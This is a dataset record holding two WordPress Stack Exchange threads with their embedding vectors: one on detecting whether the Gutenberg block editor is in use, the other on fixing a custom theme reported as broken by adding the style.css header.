0.041351318359375, 0.033966064453125, -0.003223419189453125, -0.0626220703125, -0.046783447265625, 0.0215911865234375, -0.0276641845703125, 0.0130157470703125, -0.06707763671875, 0.014373779296875, -0.006618499755859375, -0.0145416259765625, 0.01023101806640625, -0.019012451171875, -0.027587890625, -0.0023937225341796875, -0.034637451171875, -0.012725830078125, -0.032379150390625, 0.031829833984375, -0.01361083984375, -0.007457733154296875, -0.025390625, -0.030670166015625, -0.0013971328735351562, -0.02789306640625, -0.01000213623046875, -0.0237579345703125, -0.0377197265625, 0.0088958740234375, 0.038604736328125, -0.00301361083984375, 0.0094146728515625, -0.004680633544921875, 0.0008654594421386719, -0.0276031494140625, 0.0228424072265625, 0.0152740478515625, 0.036865234375, -0.0256500244140625, 0.02386474609375, 0.037139892578125, 0.0096435546875, 0.00955963134765625, -0.0153045654296875, -0.01114654541015625, 0.04229736328125, -0.004352569580078125, -0.0426025390625, 0.02178955078125, -0.03851318359375, -0.01097869873046875, 0.00395965576171875, 0.0007228851318359375, -0.0809326171875, 0.044342041015625, 0.0374755859375, 0.0390625, 0.03515625 ]
8a6772a835b21e0bd34a97400a1f55720f139110
Wordpress Stackexchange Q: check if Gutenberg is currently in use How can I check if the editor that is currently being used is Gutenberg in a WordPress plugin? I need this because Gutenberg lacks post_submitbox_misc_actions, so I need a fallback which will only be used if the current editor is Gutenberg. A: * *Gutenberg has been integrated in WordPress 5.0 and now you can check by using use_block_editor_for_post function. if(use_block_editor_for_post($post)){ //Block editor is active for this post. } *Alternatively, when creating new post you can use use_block_editor_for_post_type function to check if gutenberg is active for this post type. if(use_block_editor_for_post_type($postType)){ //Gutenberg is active. }
Q: check if Gutenberg is currently in use How can I check if the editor that is currently being used is Gutenberg in a WordPress plugin? I need this because Gutenberg lacks post_submitbox_misc_actions, so I need a fallback which will only be used if the current editor is Gutenberg. A: * *Gutenberg has been integrated in WordPress 5.0 and now you can check by using use_block_editor_for_post function. if(use_block_editor_for_post($post)){ //Block editor is active for this post. } *Alternatively, when creating new post you can use use_block_editor_for_post_type function to check if gutenberg is active for this post type. if(use_block_editor_for_post_type($postType)){ //Gutenberg is active. } A: has_blocks is the way to go to check content, but also note if you are just checking if the block editor screen is being used in the admin area, you can do a check like this (to account for both the new block editor and Gutenberg plugin): if (is_admin()) { global $current_screen; if (!isset($current_screen)) {$current_screen = get_current_screen();} if ( ( method_exists($current_screen, 'is_block_editor') && $current_screen->is_block_editor() ) || ( function_exists('is_gutenberg_page')) && is_gutenberg_page() ) ) { // DO SOMETHING HERE } } A: The WP_Screen Object now contains a boolean property for this. The following is working for me: if( ! function_exists( 'get_current_screen' ) ) { return false; } $screen = get_current_screen(); $is_block_editor = $screen->is_block_editor; See https://developer.wordpress.org/reference/classes/wp_screen/is_block_editor/ A: Necessary API Functions/Methods: You'll need WP_Screen::is_block_editor() method to check if you are currently in the Gutenberg Editor (Since WordPress 5.0). Also, if you install Gutenberg as a separate plugin, then you'll have the is_gutenberg_page() function available to do the same check. So for an overall solution, you'll need to combine these two. Of course, this has to be checked from the admin panel pages and when the internal data is ready to call the function. So you'll have to do the check using a suitable hook. For example, if you check this using init hook, it will not work. Gutenberg itself checks the is_gutenberg_page() function from gutenberg_init() function, which is loaded using replace_editor hook. So replace_editor hook is a good place to do this check. However, I'd suggest the use of admin_enqueue_scripts for making the check, since: * *admin_enqueue_scripts is the first hook that is fired after the same is_gutenberg_page() check Gutenberg makes itself. *Because of the nature of Gutenberg, you're more likely to load external scripts / styles for your purpose. *admin_enqueue_scripts is a well known hook and it's only fired from admin panel pages. So front end is not affected by it. Having said that, if all you need is to enqueue some scripts/styles, then you may use enqueue_block_editor_assets hook for editor assets and enqueue_block_assets hook for both the editor and frontend assets (since WordPress 5.0). I'm not providing the related CODE here as it wasn't directly asked in the question, but it may be enough for most purposes. Solution: Sample CODE for Gutenberg check add_action( 'admin_enqueue_scripts', 'wpse_gutenberg_editor_action' ); function wpse_is_gutenberg_editor() { if( function_exists( 'is_gutenberg_page' ) && is_gutenberg_page() ) { return true; } $current_screen = get_current_screen(); if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) { return true; } return false; } function wpse_gutenberg_editor_action() { if( wpse_is_gutenberg_editor() ) { // your gutenberg editor related CODE here } else { // this is not gutenberg. // this may not even be an editor, you need to check the screen if you need to check for another editor. } } A: The function is_gutenberg_page is from the Gutenberg plugin, while the is_block_editor method is available from 5.0. This function below combines both into a single checking function. The code below is from Freemius SDK, props to their team: function is_gutenberg_page() { if ( function_exists( 'is_gutenberg_page' ) && is_gutenberg_page() ) { // The Gutenberg plugin is on. return true; } $current_screen = get_current_screen(); if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) { // Gutenberg page on 5+. return true; } return false; } A: Gutenberg 3.6 introduced functions like has_blocks and has_block. They replace the deprecated gutenberg_post_has_blocks function. If has_blocks returns true than Gutenberg was used while editing the post. You can either use has_blocks() without params if the $post global is already set(for something like a query loop) or check the post content directly with has_blocks( $content ) A: Here I have shared the custom function which you can use to check Gutenberg is enable or not. if ( is_gutenberg_enable() ) { // Do your code } This is a custom function: /** * Check if Gutenberg is enable. * Must be used not earlier than plugins_loaded action fired. * * @return bool */ function is_gutenberg_enable() { $gutenberg = false; $block_editor = false; if ( has_filter( 'replace_editor', 'gutenberg_init' ) ) { // Gutenberg is installed and activated. $gutenberg = true; } if ( version_compare( $GLOBALS['wp_version'], '5.0-beta', '>' ) ) { // Block editor. $block_editor = true; } if ( ! $gutenberg && ! $block_editor ) { return false; } include_once ABSPATH . 'wp-admin/includes/plugin.php'; if ( ! is_plugin_active( 'classic-editor/classic-editor.php' ) ) { return true; } $use_block_editor = ( get_option( 'classic-editor-replace' ) === 'no-replace' ); return $use_block_editor; } A: In WP 5.0 and higher, a function 'has_blocks' is present in /wp-includes/blocks.php, so you can use: if ( function_exists('has_blocks')) { $this->isGutenberg = true; } else { $this->isGutenberg = false; }
wordpress
{ "language": "en", "length": 865, "provenance": "stackexchange_00019.jsonl.gz:488127", "question_score": "17", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/309862" }
[ -0.0185089111328125, 0.015716552734375, -0.040313720703125, 0.0301971435546875, -0.005706787109375, -0.038787841796875, 0.024139404296875, -0.0374755859375, 0.039703369140625, 0.06951904296875, 0.00803375244140625, -0.0181884765625, 0.036407470703125, -0.0244293212890625, -0.063232421875, 0.013153076171875, 0.0272064208984375, 0.0024623870849609375, 0.032806396484375, 0.0014238357543945312, -0.018463134765625, 0.0257415771484375, 0.0047607421875, -0.004486083984375, 0.01739501953125, -0.0280609130859375, 0.0672607421875, -0.009521484375, 0.015380859375, -0.03155517578125, 0.0300140380859375, 0.004985809326171875, 0.018890380859375, 0.00948333740234375, -0.01555633544921875, 0.01910400390625, 0.00502777099609375, -0.00046062469482421875, 0.00948333740234375, 0.00945281982421875, 0.0242919921875, -0.021331787109375, -0.04083251953125, -0.02850341796875, -0.0400390625, 0.000263214111328125, 0.00910186767578125, 0.00005066394805908203, 0.0290679931640625, 0.040008544921875, -0.0313720703125, -0.0036754608154296875, -0.0254669189453125, 0.022216796875, -0.0137176513671875, -0.0548095703125, -0.0159759521484375, 0.04852294921875, 0.01239013671875, 0.0218048095703125, -0.0179595947265625, 0.0352783203125, -0.01568603515625, -0.04229736328125, 0.030792236328125, 0.00685882568359375, -0.003631591796875, 0.0157623291015625, -0.0240325927734375, 0.0249481201171875, 0.006702423095703125, -0.036224365234375, 0.005825042724609375, -0.03582763671875, -0.0002167224884033203, -0.028717041015625, -0.00986480712890625, -0.05450439453125, 0.0102386474609375, 0.00882720947265625, -0.0517578125, 0.034912109375, -0.043182373046875, -0.0276336669921875, -0.020660400390625, -0.00839996337890625, -0.0216217041015625, -0.000013709068298339844, -0.035888671875, -0.0281219482421875, -0.03021240234375, -0.028472900390625, -0.04925537109375, 0.01084136962890625, -0.00992584228515625, -0.030059814453125, 0.0241546630859375, 0.0234832763671875, -0.012603759765625, -0.037017822265625, 0.0114288330078125, -0.047698974609375, 0.0018014907836914062, -0.01445770263671875, 0.0102386474609375, 0.0494384765625, -0.0313720703125, -0.01561737060546875, 0.042816162109375, 0.01959228515625, 0.0084381103515625, -0.017547607421875, -0.006793975830078125, -0.018585205078125, -0.00931549072265625, 0.0204925537109375, -0.03192138671875, 0.0258636474609375, -0.0005908012390136719, 0.026824951171875, 0.0223388671875, 0.0275726318359375, 0.037139892578125, -0.061798095703125, -0.0017633438110351562, -0.02130126953125, -0.0518798828125, -0.03338623046875, 0.00933837890625, 0.00037479400634765625, -0.016571044921875, 0.0281524658203125, 0.02288818359375, -0.0079193115234375, -0.021697998046875, -0.01397705078125, -0.00353240966796875, 0.02996826171875, -0.0046844482421875, -0.0160064697265625, -0.027618408203125, 0.005462646484375, 0.0345458984375, -0.05029296875, -0.005252838134765625, 0.002918243408203125, 0.0294189453125, 0.0255279541015625, -0.026336669921875, -0.057861328125, 0.036346435546875, -0.02191162109375, 0.0174407958984375, 0.021453857421875, 0.031951904296875, 0.01007843017578125, 0.06488037109375, -0.0256500244140625, -0.0159149169921875, -0.032684326171875, 0.017791748046875, -0.0085601806640625, 0.0172882080078125, -0.04119873046875, -0.043701171875, -0.0013093948364257812, -0.041748046875, -0.00574493408203125, 0.0272216796875, -0.0020580291748046875, 0.01503753662109375, -0.00803375244140625, 0.036224365234375, -0.0221405029296875, -0.0305633544921875, -0.00955963134765625, -0.020172119140625, 0.0174102783203125, 0.032989501953125, -0.0005331039428710938, -0.004108428955078125, -0.009735107421875, 0.0618896484375, -0.019287109375, -0.032745361328125, -0.0204620361328125, 0.004673004150390625, -0.00218963623046875, 0.03875732421875, 0.002155303955078125, 0.0362548828125, -0.01491546630859375, -0.0159454345703125, -0.00872039794921875, 0.01548004150390625, -0.0032100677490234375, -0.01256561279296875, 0.0118255615234375, -0.00040984153747558594, -0.0220489501953125, 0.08648681640625, -0.02099609375, 0.0163421630859375, -0.09423828125, -0.148193359375, -0.00919342041015625, -0.038818359375, 0.052825927734375, 0.032745361328125, -0.0149993896484375, 0.0007495880126953125, -0.04364013671875, -0.006664276123046875, 0.02362060546875, -0.0280303955078125, 0.029449462890625, -0.006015777587890625, 0.0301666259765625, 0.0035114288330078125, 0.018707275390625, -0.00435638427734375, 0.0045623779296875, -0.01318359375, -0.00751495361328125, 0.039642333984375, 0.01313018798828125, -0.0183258056640625, 0.00019252300262451172, -0.0110626220703125, 0.042877197265625, -0.07666015625, -0.0124969482421875, 0.0224609375, -0.0166015625, -0.0022640228271484375, 0.0256500244140625, 0.0297088623046875, -0.06756591796875, -0.0015239715576171875, 0.04412841796875, 0.032623291015625, 0.015228271484375, -0.0092010498046875, -0.03228759765625, 0.009857177734375, -0.048431396484375, 0.0207672119140625, -0.03204345703125, 0.006687164306640625, 0.049163818359375, -0.0849609375, 0.041900634765625, 0.03717041015625, 0.053741455078125, -0.005283355712890625, 0.0523681640625, -0.0061492919921875, -0.0160675048828125, -0.00830078125, 0.004756927490234375, 0.011505126953125, -0.0036640167236328125, -0.0210113525390625, 0.00659942626953125, 0.08526611328125, -0.003192901611328125, 0.08544921875, 0.06011962890625, -0.0208587646484375, -0.0037384033203125, 0.007350921630859375, 0.036041259765625, 0.0003781318664550781, 0.05145263671875, 0.0321044921875, 0.045074462890625, -0.033538818359375, -0.02191162109375, 0.043548583984375, 0.05419921875, -0.054534912109375, -0.044769287109375, -0.0439453125, -0.004116058349609375, 0.0027179718017578125, -0.0213470458984375, 0.03692626953125, -0.0270843505859375, 0.0304412841796875, -0.0114898681640625, 0.044677734375, -0.047637939453125, -0.04608154296875, 0.033447265625, 0.0090484619140625, -0.054046630859375, 0.04803466796875, -0.045135498046875, 0.03717041015625, -0.0189666748046875, 0.04296875, 0.054962158203125, -0.0168914794921875, 0.02117919921875, -0.01486968994140625, -0.0120391845703125, -0.0162811279296875, -0.0183563232421875, -0.035247802734375, 0.0016412734985351562, -0.0738525390625, 0.01043701171875, 0.018951416015625, 0.018218994140625, -0.00540924072265625, -0.031402587890625, -0.006542205810546875, 0.00347137451171875, -0.06402587890625, -0.032196044921875, -0.075439453125, -0.0797119140625, 0.0036468505859375, -0.0248870849609375, -0.0293121337890625, 0.0200958251953125, 0.0013856887817382812, 0.027191162109375, -0.0265045166015625, -0.006023406982421875, -0.06353759765625, -0.059539794921875, -0.0721435546875, -0.016204833984375, -0.022216796875, 0.009429931640625, 0.000017344951629638672, 0.007740020751953125, -0.0116729736328125, -0.0304107666015625, -0.01239776611328125, -0.035308837890625, -0.0159912109375, -0.01483154296875, 0.0153350830078125, -0.0191802978515625, -0.01334381103515625, 0.02557373046875, -0.003238677978515625, 0.0007658004760742188, -0.00968170166015625, -0.0184783935546875, 0.0245513916015625, -0.01763916015625, 0.039642333984375, 0.00392913818359375, -0.062255859375, -0.0161590576171875, 0.024993896484375, -0.05987548828125, 0.03485107421875, -0.000972747802734375, -0.0072784423828125, 0.019287109375, -0.0127716064453125, -0.0189056396484375, 0.0234832763671875, -0.0129547119140625, 0.01142120361328125, 0.03546142578125, 0.01116180419921875, -0.00753021240234375, 0.034515380859375, -0.0055694580078125, -0.01044464111328125, -0.018096923828125, -0.0192718505859375, -0.026458740234375, 0.033599853515625, -0.0257568359375, 0.0234375, -0.00623321533203125, 0.0250244140625, -0.040557861328125, -0.0110626220703125, 0.027191162109375, -0.014892578125, 0.004383087158203125, -0.00829315185546875, -0.01116943359375, 0.00977325439453125, 0.05072021484375, 0.00901031494140625, -0.0026149749755859375, 0.006683349609375, -0.01263427734375, 0.00559234619140625, -0.00860595703125, -0.052825927734375, -0.002506256103515625, -0.023284912109375, -0.002834320068359375, 0.0102386474609375, -0.04425048828125, -0.0014209747314453125, -0.010589599609375, -0.0272369384765625, -0.006626129150390625, 0.03802490234375, -0.1202392578125, 0.0419921875, 0.050262451171875, -0.01291656494140625, 0.01497650146484375, -0.029022216796875, -0.08306884765625, -0.080078125, 0.0029621124267578125, -0.058746337890625, 0.046356201171875, 0.0005974769592285156, 0.0225830078125, -0.02362060546875, 0.0262298583984375, 0.0205078125, 0.073486328125, 0.0211944580078125, -0.0022640228271484375, 0.0782470703125, -0.0066680908203125, 0.040679931640625, -0.0218353271484375, 0.02197265625, 0.02044677734375, -0.035919189453125, 0.017608642578125, -0.0302886962890625, -0.043701171875, 0.0248260498046875, -0.049835205078125, -0.030548095703125, -0.032958984375, -0.01477813720703125, -0.01383209228515625, -0.016082763671875, -0.011749267578125, -0.0172271728515625, -0.0276336669921875, 0.0560302734375, -0.0009131431579589844, -0.004535675048828125, 0.01351165771484375, 0.1033935546875, 0.006664276123046875, -0.01220703125, -0.06585693359375, -0.0222930908203125, 0.021331787109375, 0.00453948974609375, 0.047760009765625, 0.0265045166015625, -0.00991058349609375, 0.041900634765625, -0.004337310791015625, -0.039459228515625, -0.0230560302734375, 0.03314208984375, -0.01739501953125, -0.030242919921875, -0.00682830810546875, -0.052825927734375, 0.09783935546875, 0.0231475830078125, -0.047943115234375, -0.0160064697265625, -0.0190887451171875, 0.0489501953125, -0.040374755859375, 0.055816650390625, -0.032012939453125, -0.0136871337890625, -0.01259613037109375, -0.0151214599609375, 0.06951904296875, 0.070556640625, -0.0281982421875, 0.060546875, 0.0634765625, -0.01396942138671875, 0.0275421142578125, 0.0171051025390625, -0.005573272705078125, 0.03240966796875, 0.0051116943359375, -0.0267333984375, 0.00241851806640625, 0.00908660888671875, 0.01256561279296875, -0.028167724609375, -0.06903076171875, -0.0011262893676757812, -0.01459503173828125, 0.01293182373046875, 0.03204345703125, -0.00942230224609375, 0.04443359375, 0.0179595947265625, -0.058319091796875, -0.00887298583984375, 0.0088043212890625, -0.03924560546875, -0.06671142578125, -0.0545654296875, -0.03009033203125, -0.01690673828125, -0.018798828125, 0.0192718505859375, -0.0116119384765625, 0.0021800994873046875, 0.004276275634765625, 0.00435638427734375, 0.00496673583984375, 0.013519287109375, 0.041015625, -0.006206512451171875, -0.024658203125, -0.007213592529296875, -0.0004391670227050781, -0.033538818359375, -0.0396728515625, -0.00579071044921875, 0.01690673828125, -0.0189666748046875, 0.01049041748046875, 0.0509033203125, 0.036407470703125, -0.0230560302734375, 0.019439697265625, -0.002246856689453125, -0.0165252685546875, -0.034027099609375, 0.01529693603515625, 0.050079345703125, 0.0312347412109375, -0.02227783203125, -0.017425537109375, -0.01004791259765625, 0.01375579833984375, 0.013397216796875, -0.0526123046875, 0.04632568359375, 0.041107177734375, 0.018707275390625, -0.024139404296875, -0.0047149658203125, -0.0305023193359375, 0.01068878173828125, -0.0313720703125, -0.0098114013671875, 0.07562255859375, -0.0205535888671875, -0.000873565673828125, -0.019317626953125, 0.021881103515625, -0.020050048828125, 0.0164794921875, 0.0125885009765625, 0.00318145751953125, -0.0240020751953125, -0.04632568359375, -0.0665283203125, -0.019287109375, -0.007152557373046875, -0.056854248046875, 0.00601959228515625, 0.01042938232421875, -0.00478363037109375, 0.0274658203125, -0.0119171142578125, 0.0053558349609375, 0.03594970703125, 0.031890869140625, -0.02587890625, 0.09637451171875, -0.0025463104248046875, 0.0738525390625, -0.01117706298828125, 0.0482177734375, -0.0037136077880859375, 0.005401611328125, -0.0270843505859375, 0.0058441162109375, -0.01629638671875, -0.0110626220703125, 0.00293731689453125, -0.022857666015625, 0.053802490234375, 0.017822265625, 0.0204315185546875, 0.005886077880859375, 0.0216522216796875, -0.012664794921875, 0.014495849609375, -0.0279998779296875, 0.0004291534423828125, -0.02777099609375, -0.02508544921875, 0.004230499267578125, -0.047027587890625, -0.0240020751953125, -0.0013055801391601562, -0.00553131103515625, 0.0302581787109375, -0.013336181640625, -0.0178985595703125, 0.043426513671875, 0.01392364501953125, 0.04052734375, 0.043243408203125, 0.00647735595703125, 0.033966064453125, 0.0491943359375, 0.0160980224609375, -0.0162811279296875, 0.0070343017578125, 0.00036597251892089844, -0.0019197463989257812, 0.04296875, 0.023101806640625, 0.042236328125, 0.06353759765625, 0.01153564453125, 0.0118865966796875, 0.0027141571044921875, 0.0374755859375, -0.0240325927734375, 0.01302337646484375, 0.03558349609375, -0.024932861328125, -0.027740478515625, -0.0288848876953125, 0.004154205322265625, -0.0482177734375, 0.07501220703125, -0.0140533447265625, -0.01432037353515625, 0.0207672119140625, -0.044708251953125, -0.006465911865234375, -0.050872802734375, 0.0626220703125, 0.0081634521484375, -0.0063018798828125, 0.0045318603515625, -0.0013151168823242188, -0.00594329833984375, -0.0125274658203125, 0.0209808349609375, -0.0164794921875, 0.01299285888671875, -0.025177001953125, 0.0081024169921875, -0.0273590087890625, -0.0011148452758789062, -0.00818634033203125, 0.02618408203125, 0.0479736328125, 0.06573486328125, -0.00434112548828125, -0.00882720947265625, 0.046966552734375, 0.0245208740234375, -0.07421875, -0.0190887451171875, 0.02728271484375, 0.06231689453125, -0.0260772705078125, 0.044403076171875, -0.01195526123046875, -0.0137176513671875, 0.002910614013671875, 0.0518798828125, 0.064697265625, -0.005950927734375, -0.051513671875, 0.033935546875, 0.0030117034912109375, -0.01100921630859375, 0.005035400390625, 0.050445556640625, -0.0290069580078125, -0.003604888916015625, 0.0009751319885253906, -0.0195159912109375, -0.0360107421875, -0.01458740234375, -0.0704345703125, 0.1258544921875, 0.013580322265625, 0.0283050537109375, -0.015838623046875, 0.0582275390625, -0.0236968994140625, 0.031097412109375, -0.05230712890625, 0.031768798828125, -0.03582763671875, 0.044403076171875, -0.035064697265625, 0.01611328125, -0.01194000244140625, 0.0012159347534179688, 0.03289794921875, 0.0032215118408203125, -0.044189453125, -0.0244903564453125, -0.0031032562255859375, 0.022705078125, -0.01513671875, 0.045623779296875, 0.0162811279296875, 0.0011835098266601562, 0.033660888671875, -0.0223388671875, 0.04290771484375, -0.0545654296875, -0.0011644363403320312, 0.01134490966796875, 0.00531005859375, 0.00420379638671875, -0.0257110595703125, 0.004024505615234375, -0.0033702850341796875, -0.0220184326171875, -0.0015430450439453125, 0.0031452178955078125, -0.023345947265625, 0.024169921875, 0.0250701904296875, -0.038848876953125, 0.000054717063903808594, -0.040924072265625, 0.044189453125, 0.032623291015625, -0.0160980224609375, -0.0249786376953125, 0.00609588623046875, -0.00974273681640625, -0.00868988037109375, -0.01021575927734375, 0.0377197265625, -0.02899169921875, 0.029754638671875, 0.0267791748046875, 0.002593994140625, 0.0030002593994140625, 0.035675048828125, 0.0300445556640625, 0.01515960693359375, -0.032318115234375, -0.042633056640625, 0.003997802734375, 0.0172271728515625, 0.024658203125, -0.005340576171875, -0.0012054443359375, 0.0029888153076171875, 0.041290283203125, -0.01244354248046875, -0.02490234375, -0.0207366943359375, 0.0243988037109375, 0.0007228851318359375, 0.0258636474609375, 0.0016269683837890625, -0.04315185546875, -0.0217437744140625, -0.01715087890625, 0.0169677734375, 0.047119140625, 0.01186370849609375, 0.0256500244140625, -0.01032257080078125, 0.000020265579223632812, -0.0673828125, 0.025634765625, 0.0035686492919921875, 0.087646484375, -0.066162109375, 0.01206207275390625, 0.0237579345703125, 0.053924560546875, 0.03887939453125, 0.032257080078125, 0.01788330078125, 0.0228424072265625, 0.049713134765625, 0.006130218505859375, 0.01959228515625, 0.0025730133056640625, -0.0305328369140625, -0.02642822265625, 0.0021152496337890625, 0.0031223297119140625, 0.015777587890625, -0.01739501953125, 0.042694091796875, 0.00904083251953125, -0.0117340087890625, 0.04888916015625, 0.01132965087890625, -0.00469207763671875, 0.0026397705078125, 0.01107025146484375, 0.028717041015625, 0.0186004638671875, -0.035675048828125, -0.0188446044921875, 0.00971221923828125, 0.0231781005859375, -0.0145111083984375, 0.0172576904296875, -0.004680633544921875, 0.0343017578125, 0.019805908203125, -0.007793426513671875, 0.042144775390625, -0.0102081298828125, 0.01276397705078125, 0.049896240234375, 0.01837158203125, 0.017425537109375, -0.007110595703125, -0.003910064697265625, 0.0433349609375, 0.00225067138671875, -0.01120758056640625, 0.0164031982421875, 0.0168914794921875, -0.00992584228515625, 0.01436614990234375, 0.0032863616943359375, -0.007770538330078125, -0.004589080810546875, -0.011810302734375, 0.004974365234375, 0.0254364013671875, 0.006198883056640625, -0.07696533203125, 0.021026611328125, 0.026275634765625, 0.050323486328125, 0.0235748291015625, -0.00390625, 0.0213623046875, 0.0279083251953125, -0.01552581787109375, -0.03692626953125, -0.03314208984375, -0.013580322265625, 0.0010318756103515625, -0.0009627342224121094, 0.003810882568359375, 0.00545501708984375, 0.042144775390625, 0.004055023193359375, -0.00039505958557128906, 0.000028789043426513672, -0.01380157470703125, -0.0411376953125, 0.0171051025390625, 0.006214141845703125, 0.0256195068359375, -0.002777099609375, -0.004459381103515625, 0.01806640625, 0.00312042236328125, -0.01983642578125, 0.03564453125, -0.0062408447265625, 0.01338958740234375, 0.007091522216796875, 0.022064208984375, -0.020355224609375, -0.0025386810302734375, 0.045928955078125, -0.007373809814453125, -0.031768798828125, -0.0111236572265625, -0.006908416748046875, -0.043731689453125, -0.01629638671875, -0.0028858184814453125, -0.0236358642578125, -0.035369873046875, 0.006786346435546875, 0.015777587890625, 0.01445770263671875, -0.0186004638671875, -0.0230712890625, 0.037109375, -0.032257080078125, 0.00811767578125, -0.0077667236328125, 0.01255035400390625, 0.01299285888671875, 0.050323486328125, -0.02520751953125, -0.0013608932495117188, -0.018524169921875, -0.002864837646484375, -0.012451171875, 0.01337432861328125, 0.0230712890625, -0.0246734619140625, -0.016265869140625, -0.02618408203125, 0.0207366943359375, 0.00551605224609375, 0.0125579833984375, -0.002410888671875, 0.0288543701171875, -0.01114654541015625, -0.03704833984375, -0.037567138671875, 0.0249786376953125, -0.045196533203125, -0.0294189453125, -0.0175628662109375, 0.018310546875, 0.029937744140625, -0.04071044921875, -0.10943603515625, -0.023956298828125, -0.0067138671875, -0.062042236328125, -0.04412841796875, 0.0419921875, 0.0050811767578125, 0.002536773681640625, -0.023895263671875, 0.0289764404296875, 0.006855010986328125, 0.0031299591064453125, -0.0305633544921875, 0.0609130859375, 0.0214385986328125, -0.042510986328125, -0.017059326171875, -0.04595947265625, -0.041107177734375, -0.01708984375, -0.0096435546875, 0.006744384765625, 0.01352691650390625, 0.0212554931640625, -0.0219573974609375, 0.0052337646484375, 0.007099151611328125, 0.0093536376953125, -0.000023066997528076172, -0.0318603515625, -0.0178985595703125, 0.0018796920776367188, 0.05352783203125, 0.0494384765625, 0.00511932373046875, -0.035675048828125, 0.005031585693359375, -0.0211639404296875, -0.05792236328125, 0.042999267578125, 0.01020050048828125, -0.01053619384765625, 0.040802001953125, 0.006847381591796875, -0.02703857421875, -0.03265380859375, 0.0228729248046875, -0.06396484375, -0.00826263427734375, -0.06689453125, -0.031707763671875, -0.053314208984375, 0.0171356201171875, 0.01244354248046875, -0.0171051025390625, 0.007381439208984375, 0.009185791015625, -0.01090240478515625, 0.00930023193359375, 0.053436279296875, 0.039154052734375, 0.00473785400390625, -0.04547119140625, -0.00640106201171875, 0.01087188720703125, 0.0283355712890625, -0.007297515869140625, -0.05096435546875, -0.01242828369140625, -0.018707275390625, -0.01471710205078125, -0.05621337890625, -0.009368896484375, 0.0318603515625, -0.02154541015625, 0.08648681640625, 0.0159912109375, 0.00937652587890625, 0.005016326904296875, 0.033538818359375, 0.030731201171875, -0.044952392578125, 0.041778564453125, -0.040924072265625, -0.0035076141357421875, -0.00336456298828125, 0.005992889404296875, -0.053253173828125, 0.0138702392578125, 0.014373779296875, 0.0230712890625, 0.0103759765625 ]
807d0bcf4002f252c8fc7d05a515c8ab28e3814b
Wordpress Stackexchange Q: Custom Theme: The active theme is broken. Reverting to the default theme I'm making my own theme and I just got this message while trying to activate my theme: "The active theme is broken. Reverting to the default theme." Live preview works, but when I select this theme it reverts back to a new theme. I have index.php and my style.css files set up as I was using this theme fine before. I've disabled all plugins and even tried a fresh copy of wordpress. Is there any way to troubleshoot this issue and see what in my theme is breaking? A: You need to add some compulsary code in top of the style.css file just copy and paste this commented code you can change theme name as per your requirement. https://developer.wordpress.org/themes/basics/main-stylesheet-style-css/#example /* Theme Name: Twenty Seventeen Theme URI: https://wordpress.org/themes/twentyseventeen/ Author: the WordPress team Author URI: https://wordpress.org/ Description: Twenty Seventeen Version: 1.0 License: GNU General Public License v2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Text Domain: twentyseventeen Tags: one-column, two-columns */
Q: Custom Theme: The active theme is broken. Reverting to the default theme I'm making my own theme and I just got this message while trying to activate my theme: "The active theme is broken. Reverting to the default theme." Live preview works, but when I select this theme it reverts back to a new theme. I have index.php and my style.css files set up as I was using this theme fine before. I've disabled all plugins and even tried a fresh copy of wordpress. Is there any way to troubleshoot this issue and see what in my theme is breaking? A: You need to add some compulsary code in top of the style.css file just copy and paste this commented code you can change theme name as per your requirement. https://developer.wordpress.org/themes/basics/main-stylesheet-style-css/#example /* Theme Name: Twenty Seventeen Theme URI: https://wordpress.org/themes/twentyseventeen/ Author: the WordPress team Author URI: https://wordpress.org/ Description: Twenty Seventeen Version: 1.0 License: GNU General Public License v2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Text Domain: twentyseventeen Tags: one-column, two-columns */
wordpress
{ "language": "en", "length": 170, "provenance": "stackexchange_00019.jsonl.gz:488134", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/309882" }
[ 0.00098419189453125, -0.045806884765625, 0.0277252197265625, -0.004177093505859375, -0.024505615234375, 0.003864288330078125, 0.037994384765625, -0.00896453857421875, 0.0157012939453125, -0.00804901123046875, -0.0072021484375, -0.053436279296875, 0.050872802734375, -0.060943603515625, 0.0262298583984375, -0.032562255859375, 0.040435791015625, -0.036285400390625, -0.0428466796875, 0.0007348060607910156, -0.0242919921875, 0.0239410400390625, -0.04803466796875, 0.0965576171875, 0.032958984375, -0.0014925003051757812, 0.06475830078125, -0.03741455078125, 0.043731689453125, -0.0129852294921875, 0.0361328125, -0.027008056640625, 0.00516510009765625, 0.0168914794921875, -0.0218048095703125, -0.0100555419921875, -0.0124969482421875, 0.00787353515625, -0.031036376953125, 0.05316162109375, 0.017791748046875, -0.0017824172973632812, -0.0013227462768554688, 0.0024261474609375, -0.00698089599609375, -0.06365966796875, 0.043304443359375, -0.036102294921875, 0.00620269775390625, 0.0015993118286132812, 0.0026702880859375, 0.0277862548828125, 0.024871826171875, -0.095703125, -0.00902557373046875, -0.034912109375, -0.017120361328125, -0.0633544921875, 0.0145416259765625, 0.0171966552734375, 0.025146484375, -0.03509521484375, 0.0205535888671875, -0.0007920265197753906, -0.0004100799560546875, -0.000720977783203125, 0.015228271484375, 0.02362060546875, -0.055755615234375, -0.0025272369384765625, 0.01910400390625, -0.03277587890625, 0.034454345703125, -0.021697998046875, -0.0055999755859375, -0.00978851318359375, -0.021636962890625, 0.002590179443359375, 0.038360595703125, -0.0255889892578125, 0.03070068359375, 0.01739501953125, -0.0294189453125, -0.03778076171875, 0.0260162353515625, -0.022552490234375, -0.00023567676544189453, -0.0180816650390625, -0.0631103515625, 0.01032257080078125, -0.033111572265625, -0.05767822265625, -0.0390625, -0.00603485107421875, 0.01355743408203125, -0.0136871337890625, 0.0355224609375, 0.0765380859375, 0.006122589111328125, 0.031280517578125, -0.022369384765625, -0.045928955078125, 0.0419921875, -0.053985595703125, -0.003692626953125, -0.0115203857421875, 0.0181884765625, -0.0099334716796875, -0.00423431396484375, 0.022125244140625, -0.0248870849609375, 0.0325927734375, 0.01617431640625, -0.024688720703125, -0.010772705078125, -0.00847625732421875, -0.0183563232421875, 0.0310211181640625, 0.0103912353515625, 0.0167999267578125, 0.012115478515625, 0.032928466796875, -0.020233154296875, -0.0311737060546875, -0.01087188720703125, -0.042144775390625, -0.05584716796875, 0.00958251953125, 0.0164642333984375, 